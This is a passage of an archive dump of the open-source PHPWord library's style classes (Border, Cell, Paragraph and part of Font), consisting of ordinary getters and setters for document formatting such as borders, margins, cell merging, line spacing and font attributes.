     * @return null|string
     */
    public function getBorderTopColor()
    {
        return $this->borderTopColor;
    }

    /**
     * Set border top color.
     *
     * @param null|string $value
     *
     * @return self
     */
    public function setBorderTopColor($value = null)
    {
        $this->borderTopColor = $value;

        return $this;
    }

    /**
     * Get border top style.
     *
     * @return string
     */
    public function getBorderTopStyle()
    {
        return $this->borderTopStyle;
    }

    /**
     * Set border top Style.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBorderTopStyle($value = null)
    {
        $this->borderTopStyle = $value;

        return $this;
    }

    /**
     * Get border left size.
     *
     * @return float|int
     */
    public function getBorderLeftSize()
    {
        return $this->borderLeftSize;
    }

    /**
     * Set border left size.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setBorderLeftSize($value = null)
    {
        $this->borderLeftSize = $this->setNumericVal($value, $this->borderLeftSize);

        return $this;
    }

    /**
     * Get border left color.
     *
     * @return null|string
     */
    public function getBorderLeftColor()
    {
        return $this->borderLeftColor;
    }

    /**
     * Set border left color.
     *
     * @param null|string $value
     *
     * @return self
     */
    public function setBorderLeftColor($value = null)
    {
        $this->borderLeftColor = $value;

        return $this;
    }

    /**
     * Get border left style.
     *
     * @return string
     */
    public function getBorderLeftStyle()
    {
        return $this->borderLeftStyle;
    }

    /**
     * Set border left style.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBorderLeftStyle($value = null)
    {
        $this->borderLeftStyle = $value;

        return $this;
    }

    /**
     * Get border right size.
     *
     * @return float|int
     */
    public function getBorderRightSize()
    {
        return $this->borderRightSize;
    }

    /**
     * Set border right size.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setBorderRightSize($value = null)
    {
        $this->borderRightSize = $this->setNumericVal($value, $this->borderRightSize);

        return $this;
    }

    /**
     * Get border right color.
     *
     * @return null|string
     */
    public function getBorderRightColor()
    {
        return $this->borderRightColor;
    }

    /**
     * Set border right color.
     *
     * @param null|string $value
     *
     * @return self
     */
    public function setBorderRightColor($value = null)
    {
        $this->borderRightColor = $value;

        return $this;
    }

    /**
     * Get border right style.
     *
     * @return string
     */
    public function getBorderRightStyle()
    {
        return $this->borderRightStyle;
    }

    /**
     * Set border right style.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBorderRightStyle($value = null)
    {
        $this->borderRightStyle = $value;

        return $this;
    }

    /**
     * Get border bottom size.
     *
     * @return float|int
     */
    public function getBorderBottomSize()
    {
        return $this->borderBottomSize;
    }

    /**
     * Set border bottom size.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setBorderBottomSize($value = null)
    {
        $this->borderBottomSize = $this->setNumericVal($value, $this->borderBottomSize);

        return $this;
    }

    /**
     * Get border bottom color.
     *
     * @return null|string
     */
    public function getBorderBottomColor()
    {
        return $this->borderBottomColor;
    }

    /**
     * Set border bottom color.
     *
     * @param null|string $value
     *
     * @return self
     */
    public function setBorderBottomColor($value = null)
    {
        $this->borderBottomColor = $value;

        return $this;
    }

    /**
     * Get border bottom style.
     *
     * @return string
     */
    public function getBorderBottomStyle()
    {
        return $this->borderBottomStyle;
    }

    /**
     * Set border bottom style.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBorderBottomStyle($value = null)
    {
        $this->borderBottomStyle = $value;

        return $this;
    }

    /**
     * Check if any of the border is not null.
     *
     * @return bool
     */
    public function hasBorder()
    {
        $borders = $this->getBorderSize();

        return $borders !== array_filter($borders, 'is_null');
    }

    /**
     * Get Margin Top.
     *
     * @return float|int
     */
    public function getMarginTop()
    {
        return $this->marginTop;
    }

    /**
     * Set Margin Top.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setMarginTop($value = null)
    {
        $this->marginTop = $this->setNumericVal($value, self::DEFAULT_MARGIN);

        return $this;
    }

    /**
     * Get Margin Left.
     *
     * @return float|int
     */
    public function getMarginLeft()
    {
        return $this->marginLeft;
    }

    /**
     * Set Margin Left.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setMarginLeft($value = null)
    {
        $this->marginLeft = $this->setNumericVal($value, self::DEFAULT_MARGIN);

        return $this;
    }

    /**
     * Get Margin Right.
     *
     * @return float|int
     */
    public function getMarginRight()
    {
        return $this->marginRight;
    }

    /**
     * Set Margin Right.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setMarginRight($value = null)
    {
        $this->marginRight = $this->setNumericVal($value, self::DEFAULT_MARGIN);

        return $this;
    }

    /**
     * Get Margin Bottom.
     *
     * @return float|int
     */
    public function getMarginBottom()
    {
        return $this->marginBottom;
    }

    /**
     * Set Margin Bottom.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setMarginBottom($value = null)
    {
        $this->marginBottom = $this->setNumericVal($value, self::DEFAULT_MARGIN);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Cell.php000066600000014550151150442730016344 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\SimpleType\TblWidth;
use PhpOffice\PhpWord\SimpleType\VerticalJc;

/**
 * Table cell style.
 */
class Cell extends Border
{
    //Text direction constants
    /**
     * Left to Right, Top to Bottom.
     */
    const TEXT_DIR_LRTB = 'lrTb';
    /**
     * Top to Bottom, Right to Left.
     */
    const TEXT_DIR_TBRL = 'tbRl';
    /**
     * Bottom to Top, Left to Right.
     */
    const TEXT_DIR_BTLR = 'btLr';
    /**
     * Left to Right, Top to Bottom Rotated.
     */
    const TEXT_DIR_LRTBV = 'lrTbV';
    /**
     * Top to Bottom, Right to Left Rotated.
     */
    const TEXT_DIR_TBRLV = 'tbRlV';
    /**
     * Top to Bottom, Left to Right Rotated.
     */
    const TEXT_DIR_TBLRV = 'tbLrV';

    /**
     * Vertical merge (rowspan) constants.
     *
     * @const string
     */
    const VMERGE_RESTART = 'restart';
    const VMERGE_CONTINUE = 'continue';

    /**
     * Default border color.
     *
     * @const string
     */
    const DEFAULT_BORDER_COLOR = '000000';

    /**
     * Vertical align (top, center, both, bottom).
     *
     * @var string
     */
    private $vAlign;

    /**
     * Text Direction.
     *
     * @var string
     */
    private $textDirection;

    /**
     * colspan.
     *
     * @var int
     */
    private $gridSpan;

    /**
     * rowspan (restart, continue).
     *
     * - restart: Start/restart merged region
     * - continue: Continue merged region
     *
     * @var string
     */
    private $vMerge;

    /**
     * Shading.
     *
     * @var \PhpOffice\PhpWord\Style\Shading
     */
    private $shading;

    /**
     * Width.
     *
     * @var ?int
     */
    private $width;

    /**
     * Width unit.
     *
     * @var string
     */
    private $unit = TblWidth::TWIP;

    /**
     * Prevent text from wrapping in the cell.
     *
     * @var bool
     */
    private $noWrap = true;

    /**
     * Get vertical align.
     *
     * @return string
     */
    public function getVAlign()
    {
        return $this->vAlign;
    }

    /**
     * Set vertical align.
     *
     * @param string $value
     *
     * @return self
     */
    public function setVAlign($value = null)
    {
        VerticalJc::validate($value);
        $this->vAlign = $this->setEnumVal($value, VerticalJc::values(), $this->vAlign);

        return $this;
    }

    /**
     * Get text direction.
     *
     * @return string
     */
    public function getTextDirection()
    {
        return $this->textDirection;
    }

    /**
     * Set text direction.
     *
     * @param string $value
     *
     * @return self
     */
    public function setTextDirection($value = null)
    {
        $enum = [
            self::TEXT_DIR_BTLR,
            self::TEXT_DIR_TBRL,
            self::TEXT_DIR_LRTB,
            self::TEXT_DIR_LRTBV,
            self::TEXT_DIR_TBRLV,
            self::TEXT_DIR_TBLRV,
        ];
        $this->textDirection = $this->setEnumVal($value, $enum, $this->textDirection);

        return $this;
    }

    /**
     * Get background.
     *
     * @return string
     */
    public function getBgColor()
    {
        if ($this->shading !== null) {
            return $this->shading->getFill();
        }

        return null;
    }

    /**
     * Set background.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBgColor($value = null)
    {
        return $this->setShading(['fill' => $value]);
    }

    /**
     * Get grid span (colspan).
     *
     * @return int
     */
    public function getGridSpan()
    {
        return $this->gridSpan;
    }

    /**
     * Set grid span (colspan).
     *
     * @param int $value
     *
     * @return self
     */
    public function setGridSpan($value = null)
    {
        $this->gridSpan = $this->setIntVal($value, $this->gridSpan);

        return $this;
    }

    /**
     * Get vertical merge (rowspan).
     *
     * @return string
     */
    public function getVMerge()
    {
        return $this->vMerge;
    }

    /**
     * Set vertical merge (rowspan).
     *
     * @param string $value
     *
     * @return self
     */
    public function setVMerge($value = null)
    {
        $enum = [self::VMERGE_RESTART, self::VMERGE_CONTINUE];
        $this->vMerge = $this->setEnumVal($value, $enum, $this->vMerge);

        return $this;
    }

    /**
     * Get shading.
     *
     * @return \PhpOffice\PhpWord\Style\Shading
     */
    public function getShading()
    {
        return $this->shading;
    }

    /**
     * Set shading.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setShading($value = null)
    {
        $this->setObjectVal($value, 'Shading', $this->shading);

        return $this;
    }

    /**
     * Get cell width.
     *
     * @return ?int
     */
    public function getWidth()
    {
        return $this->width;
    }

    /**
     * Set cell width.
     *
     * @param int $value
     *
     * @return self
     */
    public function setWidth($value)
    {
        $this->width = $this->setIntVal($value);

        return $this;
    }

    /**
     * Get width unit.
     *
     * @return string
     */
    public function getUnit()
    {
        return $this->unit;
    }

    /**
     * Set width unit.
     *
     * @param string $value
     */
    public function setUnit($value)
    {
        $this->unit = $this->setEnumVal($value, [TblWidth::AUTO, TblWidth::PERCENT, TblWidth::TWIP], TblWidth::TWIP);

        return $this;
    }

    /**
     * Set noWrap.
     */
    public function setNoWrap(bool $value): self
    {
        $this->noWrap = $this->setBoolVal($value, true);

        return $this;
    }

    /**
     * Get noWrap.
     */
    public function getNoWrap(): bool
    {
        return $this->noWrap;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Paragraph.php000066600000037621151150442730017376 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\Exception\InvalidStyleException;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Text;
use PhpOffice\PhpWord\SimpleType\Jc;
use PhpOffice\PhpWord\SimpleType\TextAlignment;

/**
 * Paragraph style.
 *
 * OOXML:
 * - General: alignment, outline level
 * - Indentation: left, right, firstline, hanging
 * - Spacing: before, after, line spacing
 * - Pagination: widow control, keep next, keep line, page break before
 * - Formatting exception: suppress line numbers, don't hyphenate
 * - Textbox options
 * - Tabs
 * - Shading
 * - Borders
 *
 * OpenOffice:
 * - Indents & spacing
 * - Alignment
 * - Text flow
 * - Outline & numbering
 * - Tabs
 * - Dropcaps
 * - Tabs
 * - Borders
 * - Background
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-w_CT_PPr.html
 */
class Paragraph extends Border
{
    /**
     * @const int One line height equals 240 twip
     */
    const LINE_HEIGHT = 240;

    /**
     * Aliases.
     *
     * @var array
     */
    protected $aliases = ['line-height' => 'lineHeight', 'line-spacing' => 'spacing'];

    /**
     * Parent style.
     *
     * @var string
     */
    private $basedOn = 'Normal';

    /**
     * Style for next paragraph.
     *
     * @var string
     */
    private $next;

    /**
     * @var string
     */
    private $alignment = '';

    /**
     * Indentation.
     *
     * @var null|\PhpOffice\PhpWord\Style\Indentation
     */
    private $indentation;

    /**
     * Spacing.
     *
     * @var \PhpOffice\PhpWord\Style\Spacing
     */
    private $spacing;

    /**
     * Text line height.
     *
     * @var null|float|int
     */
    private $lineHeight;

    /**
     * Allow first/last line to display on a separate page.
     *
     * @var bool
     */
    private $widowControl = true;

    /**
     * Keep paragraph with next paragraph.
     *
     * @var bool
     */
    private $keepNext = false;

    /**
     * Keep all lines on one page.
     *
     * @var bool
     */
    private $keepLines = false;

    /**
     * Start paragraph on next page.
     *
     * @var bool
     */
    private $pageBreakBefore = false;

    /**
     * Numbering style name.
     *
     * @var string
     */
    private $numStyle;

    /**
     * Numbering level.
     *
     * @var int
     */
    private $numLevel = 0;

    /**
     * Set of Custom Tab Stops.
     *
     * @var \PhpOffice\PhpWord\Style\Tab[]
     */
    private $tabs = [];

    /**
     * Shading.
     *
     * @var \PhpOffice\PhpWord\Style\Shading
     */
    private $shading;

    /**
     * Ignore Spacing Above and Below When Using Identical Styles.
     *
     * @var bool
     */
    private $contextualSpacing = false;

    /**
     * Right to Left Paragraph Layout.
     *
     * @var ?bool
     */
    private $bidi;

    /**
     * Vertical Character Alignment on Line.
     *
     * @var string
     */
    private $textAlignment;

    /**
     * Suppress hyphenation for paragraph.
     *
     * @var bool
     */
    private $suppressAutoHyphens = false;

    /**
     * Set Style value.
     *
     * @param string $key
     * @param mixed $value
     *
     * @return self
     */
    public function setStyleValue($key, $value)
    {
        $key = Text::removeUnderscorePrefix($key);
        if ('indent' == $key || 'hanging' == $key) {
            $value = $value * 720;  // 720 twips is 0.5 inch
        }

        return parent::setStyleValue($key, $value);
    }

    /**
     * Get style values.
     *
     * An experiment to retrieve all style values in one function. This will
     * reduce function call and increase cohesion between functions. Should be
     * implemented in all styles.
     *
     * @ignoreScrutinizerPatch
     *
     * @return array
     */
    public function getStyleValues()
    {
        $styles = [
            'name' => $this->getStyleName(),
            'basedOn' => $this->getBasedOn(),
            'next' => $this->getNext(),
            'alignment' => $this->getAlignment(),
            'indentation' => $this->getIndentation(),
            'spacing' => $this->getSpace(),
            'pagination' => [
                'widowControl' => $this->hasWidowControl(),
                'keepNext' => $this->isKeepNext(),
                'keepLines' => $this->isKeepLines(),
                'pageBreak' => $this->hasPageBreakBefore(),
            ],
            'numbering' => [
                'style' => $this->getNumStyle(),
                'level' => $this->getNumLevel(),
            ],
            'tabs' => $this->getTabs(),
            'shading' => $this->getShading(),
            'contextualSpacing' => $this->hasContextualSpacing(),
            'bidi' => $this->isBidi(),
            'textAlignment' => $this->getTextAlignment(),
            'suppressAutoHyphens' => $this->hasSuppressAutoHyphens(),
        ];

        return $styles;
    }

    /**
     * @since 0.13.0
     *
     * @return string
     */
    public function getAlignment()
    {
        return $this->alignment;
    }

    /**
     * @since 0.13.0
     *
     * @param string $value
     *
     * @return self
     */
    public function setAlignment($value)
    {
        if (Jc::isValid($value)) {
            $this->alignment = $value;
        }

        return $this;
    }

    /**
     * Get parent style ID.
     *
     * @return string
     */
    public function getBasedOn()
    {
        return $this->basedOn;
    }

    /**
     * Set parent style ID.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBasedOn($value = 'Normal')
    {
        $this->basedOn = $value;

        return $this;
    }

    /**
     * Get style for next paragraph.
     *
     * @return string
     */
    public function getNext()
    {
        return $this->next;
    }

    /**
     * Set style for next paragraph.
     *
     * @param string $value
     *
     * @return self
     */
    public function setNext($value = null)
    {
        $this->next = $value;

        return $this;
    }

    /**
     * Get indentation.
     *
     * @return null|\PhpOffice\PhpWord\Style\Indentation
     */
    public function getIndentation()
    {
        return $this->indentation;
    }

    /**
     * Set shading.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setIndentation($value = null)
    {
        $this->setObjectVal($value, 'Indentation', $this->indentation);

        return $this;
    }

    /**
     * Get indentation.
     *
     * @return int
     */
    public function getIndent()
    {
        return $this->getChildStyleValue($this->indentation, 'left');
    }

    /**
     * Set indentation.
     *
     * @param int $value
     *
     * @return self
     */
    public function setIndent($value = null)
    {
        return $this->setIndentation(['left' => $value]);
    }

    /**
     * Get hanging.
     *
     * @return int
     */
    public function getHanging()
    {
        return $this->getChildStyleValue($this->indentation, 'hanging');
    }

    /**
     * Set hanging.
     *
     * @param int $value
     *
     * @return self
     */
    public function setHanging($value = null)
    {
        return $this->setIndentation(['hanging' => $value]);
    }

    /**
     * Get spacing.
     *
     * @return \PhpOffice\PhpWord\Style\Spacing
     *
     * @todo Rename to getSpacing in 1.0
     */
    public function getSpace()
    {
        return $this->spacing;
    }

    /**
     * Set spacing.
     *
     * @param mixed $value
     *
     * @return self
     *
     * @todo Rename to setSpacing in 1.0
     */
    public function setSpace($value = null)
    {
        $this->setObjectVal($value, 'Spacing', $this->spacing);

        return $this;
    }

    /**
     * Get space before paragraph.
     *
     * @return null|float|int
     */
    public function getSpaceBefore()
    {
        return $this->getChildStyleValue($this->spacing, 'before');
    }

    /**
     * Set space before paragraph.
     *
     * @param null|float|int $value
     *
     * @return self
     */
    public function setSpaceBefore($value = null)
    {
        return $this->setSpace(['before' => $value]);
    }

    /**
     * Get space after paragraph.
     *
     * @return null|float|int
     */
    public function getSpaceAfter()
    {
        return $this->getChildStyleValue($this->spacing, 'after');
    }

    /**
     * Set space after paragraph.
     *
     * @param null|float|int $value
     *
     * @return self
     */
    public function setSpaceAfter($value = null)
    {
        return $this->setSpace(['after' => $value]);
    }

    /**
     * Get spacing between lines.
     *
     * @return null|float|int
     */
    public function getSpacing()
    {
        return $this->getChildStyleValue($this->spacing, 'line');
    }

    /**
     * Set spacing between lines.
     *
     * @param null|float|int $value
     *
     * @return self
     */
    public function setSpacing($value = null)
    {
        return $this->setSpace(['line' => $value]);
    }

    /**
     * Get spacing line rule.
     *
     * @return string
     */
    public function getSpacingLineRule()
    {
        return $this->getChildStyleValue($this->spacing, 'lineRule');
    }

    /**
     * Set the spacing line rule.
     *
     * @param string $value Possible values are defined in LineSpacingRule
     *
     * @return \PhpOffice\PhpWord\Style\Paragraph
     */
    public function setSpacingLineRule($value)
    {
        return $this->setSpace(['lineRule' => $value]);
    }

    /**
     * Get line height.
     *
     * @return null|float|int
     */
    public function getLineHeight()
    {
        return $this->lineHeight;
    }

    /**
     * Set the line height.
     *
     * @param float|int|string $lineHeight
     *
     * @return self
     */
    public function setLineHeight($lineHeight)
    {
        if (is_string($lineHeight)) {
            $lineHeight = (float) (preg_replace('/[^0-9\.\,]/', '', $lineHeight));
        }

        if ((!is_int($lineHeight) && !is_float($lineHeight)) || !$lineHeight) {
            throw new InvalidStyleException('Line height must be a valid number');
        }

        $this->lineHeight = $lineHeight;
        $this->setSpacing(($lineHeight - 1) * self::LINE_HEIGHT);
        $this->setSpacingLineRule(\PhpOffice\PhpWord\SimpleType\LineSpacingRule::AUTO);

        return $this;
    }

    /**
     * Get allow first/last line to display on a separate page setting.
     *
     * @return bool
     */
    public function hasWidowControl()
    {
        return $this->widowControl;
    }

    /**
     * Set keep paragraph with next paragraph setting.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setWidowControl($value = true)
    {
        $this->widowControl = $this->setBoolVal($value, $this->widowControl);

        return $this;
    }

    /**
     * Get keep paragraph with next paragraph setting.
     *
     * @return bool
     */
    public function isKeepNext()
    {
        return $this->keepNext;
    }

    /**
     * Set keep paragraph with next paragraph setting.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setKeepNext($value = true)
    {
        $this->keepNext = $this->setBoolVal($value, $this->keepNext);

        return $this;
    }

    /**
     * Get keep all lines on one page setting.
     *
     * @return bool
     */
    public function isKeepLines()
    {
        return $this->keepLines;
    }

    /**
     * Set keep all lines on one page setting.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setKeepLines($value = true)
    {
        $this->keepLines = $this->setBoolVal($value, $this->keepLines);

        return $this;
    }

    /**
     * Get start paragraph on next page setting.
     *
     * @return bool
     */
    public function hasPageBreakBefore()
    {
        return $this->pageBreakBefore;
    }

    /**
     * Set start paragraph on next page setting.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setPageBreakBefore($value = true)
    {
        $this->pageBreakBefore = $this->setBoolVal($value, $this->pageBreakBefore);

        return $this;
    }

    /**
     * Get numbering style name.
     *
     * @return string
     */
    public function getNumStyle()
    {
        return $this->numStyle;
    }

    /**
     * Set numbering style name.
     *
     * @param string $value
     *
     * @return self
     */
    public function setNumStyle($value)
    {
        $this->numStyle = $value;

        return $this;
    }

    /**
     * Get numbering level.
     *
     * @return int
     */
    public function getNumLevel()
    {
        return $this->numLevel;
    }

    /**
     * Set numbering level.
     *
     * @param int $value
     *
     * @return self
     */
    public function setNumLevel($value = 0)
    {
        $this->numLevel = $this->setIntVal($value, $this->numLevel);

        return $this;
    }

    /**
     * Get tabs.
     *
     * @return \PhpOffice\PhpWord\Style\Tab[]
     */
    public function getTabs()
    {
        return $this->tabs;
    }

    /**
     * Set tabs.
     *
     * @param array $value
     *
     * @return self
     */
    public function setTabs($value = null)
    {
        if (is_array($value)) {
            $this->tabs = $value;
        }

        return $this;
    }

    /**
     * Get shading.
     *
     * @return \PhpOffice\PhpWord\Style\Shading
     */
    public function getShading()
    {
        return $this->shading;
    }

    /**
     * Set shading.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setShading($value = null)
    {
        $this->setObjectVal($value, 'Shading', $this->shading);

        return $this;
    }

    /**
     * Get contextualSpacing.
     *
     * @return bool
     */
    public function hasContextualSpacing()
    {
        return $this->contextualSpacing;
    }

    /**
     * Set contextualSpacing.
     *
     * @param bool $contextualSpacing
     *
     * @return self
     */
    public function setContextualSpacing($contextualSpacing)
    {
        $this->contextualSpacing = $contextualSpacing;

        return $this;
    }

    /**
     * Get bidirectional.
     *
     * @return ?bool
     */
    public function isBidi()
    {
        return $this->bidi ?? Settings::isDefaultRtl();
    }

    /**
     * Set bidi.
     *
     * @param ?bool $bidi
     *            Set to true to write from right to left
     *
     * @return self
     */
    public function setBidi($bidi)
    {
        $this->bidi = $bidi;

        return $this;
    }

    /**
     * Get textAlignment.
     *
     * @return string
     */
    public function getTextAlignment()
    {
        return $this->textAlignment;
    }

    /**
     * Set textAlignment.
     *
     * @param string $textAlignment
     *
     * @return self
     */
    public function setTextAlignment($textAlignment)
    {
        TextAlignment::validate($textAlignment);
        $this->textAlignment = $textAlignment;

        return $this;
    }

    /**
     * @return bool
     */
    public function hasSuppressAutoHyphens()
    {
        return $this->suppressAutoHyphens;
    }

    /**
     * @param bool $suppressAutoHyphens
     */
    public function setSuppressAutoHyphens($suppressAutoHyphens): void
    {
        $this->suppressAutoHyphens = (bool) $suppressAutoHyphens;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Font.php000066600000045101151150442730016367 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Validate;

/**
 * Font style.
 */
class Font extends AbstractStyle
{
    /**
     * Underline types.
     *
     * @const string
     */
    const UNDERLINE_NONE = 'none';
    const UNDERLINE_DASH = 'dash';
    const UNDERLINE_DASHHEAVY = 'dashHeavy';
    const UNDERLINE_DASHLONG = 'dashLong';
    const UNDERLINE_DASHLONGHEAVY = 'dashLongHeavy';
    const UNDERLINE_DOUBLE = 'dbl';
    const UNDERLINE_DOTDASH = 'dotDash';
    const UNDERLINE_DOTDASHHEAVY = 'dotDashHeavy';
    const UNDERLINE_DOTDOTDASH = 'dotDotDash';
    const UNDERLINE_DOTDOTDASHHEAVY = 'dotDotDashHeavy';
    const UNDERLINE_DOTTED = 'dotted';
    const UNDERLINE_DOTTEDHEAVY = 'dottedHeavy';
    const UNDERLINE_HEAVY = 'heavy';
    const UNDERLINE_SINGLE = 'single';
    const UNDERLINE_WAVY = 'wavy';
    const UNDERLINE_WAVYDOUBLE = 'wavyDbl';
    const UNDERLINE_WAVYHEAVY = 'wavyHeavy';
    const UNDERLINE_WORDS = 'words';

    /**
     * Foreground colors.
     *
     * @const string
     */
    const FGCOLOR_YELLOW = 'yellow';
    const FGCOLOR_LIGHTGREEN = 'green';
    const FGCOLOR_CYAN = 'cyan';
    const FGCOLOR_MAGENTA = 'magenta';
    const FGCOLOR_BLUE = 'blue';
    const FGCOLOR_RED = 'red';
    const FGCOLOR_DARKBLUE = 'darkBlue';
    const FGCOLOR_DARKCYAN = 'darkCyan';
    const FGCOLOR_DARKGREEN = 'darkGreen';
    const FGCOLOR_DARKMAGENTA = 'darkMagenta';
    const FGCOLOR_DARKRED = 'darkRed';
    const FGCOLOR_DARKYELLOW = 'darkYellow';
    const FGCOLOR_DARKGRAY = 'darkGray';
    const FGCOLOR_LIGHTGRAY = 'lightGray';
    const FGCOLOR_BLACK = 'black';

    /**
     * Aliases.
     *
     * @var array
     */
    protected $aliases = ['line-height' => 'lineHeight', 'letter-spacing' => 'spacing'];

    /**
     * Font style type.
     *
     * @var string
     */
    private $type;

    /**
     * Font name.
     *
     * @var string
     */
    private $name;

    /**
     * Font Content Type.
     *
     * @var string
     */
    private $hint;

    /**
     * Font size.
     *
     * @var float|int
     */
    private $size;

    /**
     * Font color.
     *
     * @var string
     */
    private $color;

    /**
     * Bold.
     *
     * @var bool
     */
    private $bold;

    /**
     * Italic.
     *
     * @var bool
     */
    private $italic;

    /**
     * Undeline.
     *
     * @var string
     */
    private $underline = self::UNDERLINE_NONE;

    /**
     * Superscript.
     *
     * @var bool
     */
    private $superScript = false;

    /**
     * Subscript.
     *
     * @var bool
     */
    private $subScript = false;

    /**
     * Strikethrough.
     *
     * @var bool
     */
    private $strikethrough;

    /**
     * Double strikethrough.
     *
     * @var bool
     */
    private $doubleStrikethrough;

    /**
     * Small caps.
     *
     * @var bool
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_smallCaps-1.html
     */
    private $smallCaps;

    /**
     * All caps.
     *
     * @var bool
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_caps-1.html
     */
    private $allCaps;

    /**
     * Foreground/highlight.
     *
     * @var string
     */
    private $fgColor;

    /**
     * Expanded/compressed text: 0-600 (percent).
     *
     * @var int
     *
     * @since 0.12.0
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_w-1.html
     */
    private $scale;

    /**
     * Character spacing adjustment: twip.
     *
     * @var float|int
     *
     * @since 0.12.0
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_spacing-2.html
     */
    private $spacing;

    /**
     * Font kerning: halfpoint.
     *
     * @var float|int
     *
     * @since 0.12.0
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_kern-1.html
     */
    private $kerning;

    /**
     * Paragraph style.
     *
     * @var \PhpOffice\PhpWord\Style\Paragraph
     */
    private $paragraph;

    /**
     * Shading.
     *
     * @var \PhpOffice\PhpWord\Style\Shading
     */
    private $shading;

    /**
     * Right to left languages.
     *
     * @var ?bool
     */
    private $rtl;

    /**
     * noProof (disables AutoCorrect).
     *
     * @var bool
     * http://www.datypic.com/sc/ooxml/e-w_noProof-1.html
     */
    private $noProof;

    /**
     * Languages.
     *
     * @var null|\PhpOffice\PhpWord\Style\Language
     */
    private $lang;

    /**
     * Hidden text.
     *
     * @var bool
     *
     * @see  http://www.datypic.com/sc/ooxml/e-w_vanish-1.html
     */
    private $hidden;

    /**
     * Vertically Raised or Lowered Text.
     *
     * @var int Signed Half-Point Measurement
     *
     * @see http://www.datypic.com/sc/ooxml/e-w_position-1.html
     */
    private $position;

    /**
     * Preservation of white space in html.
     *
     * @var string Value used for css white-space
     */
    private $whiteSpace = '';

    /**
     * Generic font as fallback for html.
     *
     * @var string generic font name
     */
    private $fallbackFont = '';

    /**
     * Create new font style.
     *
     * @param string $type Type of font
     * @param array|\PhpOffice\PhpWord\Style\AbstractStyle|string $paragraph Paragraph styles definition
     */
    public function __construct($type = 'text', $paragraph = null)
    {
        $this->type = $type;
        $this->setParagraph($paragraph);
    }

    /**
     * Get style values.
     *
     * @return array
     *
     * @since 0.12.0
     */
    public function getStyleValues()
    {
        return [
            'name' => $this->getStyleName(),
            'basic' => [
                'name' => $this->getName(),
                'size' => $this->getSize(),
                'color' => $this->getColor(),
                'hint' => $this->getHint(),
            ],
            'style' => [
                'bold' => $this->isBold(),
                'italic' => $this->isItalic(),
                'underline' => $this->getUnderline(),
                'strike' => $this->isStrikethrough(),
                'dStrike' => $this->isDoubleStrikethrough(),
                'super' => $this->isSuperScript(),
                'sub' => $this->isSubScript(),
                'smallCaps' => $this->isSmallCaps(),
                'allCaps' => $this->isAllCaps(),
                'fgColor' => $this->getFgColor(),
                'hidden' => $this->isHidden(),
            ],
            'spacing' => [
                'scale' => $this->getScale(),
                'spacing' => $this->getSpacing(),
                'kerning' => $this->getKerning(),
                'position' => $this->getPosition(),
            ],
            'paragraph' => $this->getParagraph(),
            'rtl' => $this->isRTL(),
            'shading' => $this->getShading(),
            'lang' => $this->getLang(),
            'whiteSpace' => $this->getWhiteSpace(),
            'fallbackFont' => $this->getFallbackFont(),
        ];
    }

    /**
     * Get style type.
     *
     * @return string
     */
    public function getStyleType()
    {
        return $this->type;
    }

    /**
     * Get font name.
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Set font name.
     *
     * @param string $value
     *
     * @return self
     */
    public function setName($value = null)
    {
        $this->name = $value;

        return $this;
    }

    /**
     * Get Font Content Type.
     *
     * @return string
     */
    public function getHint()
    {
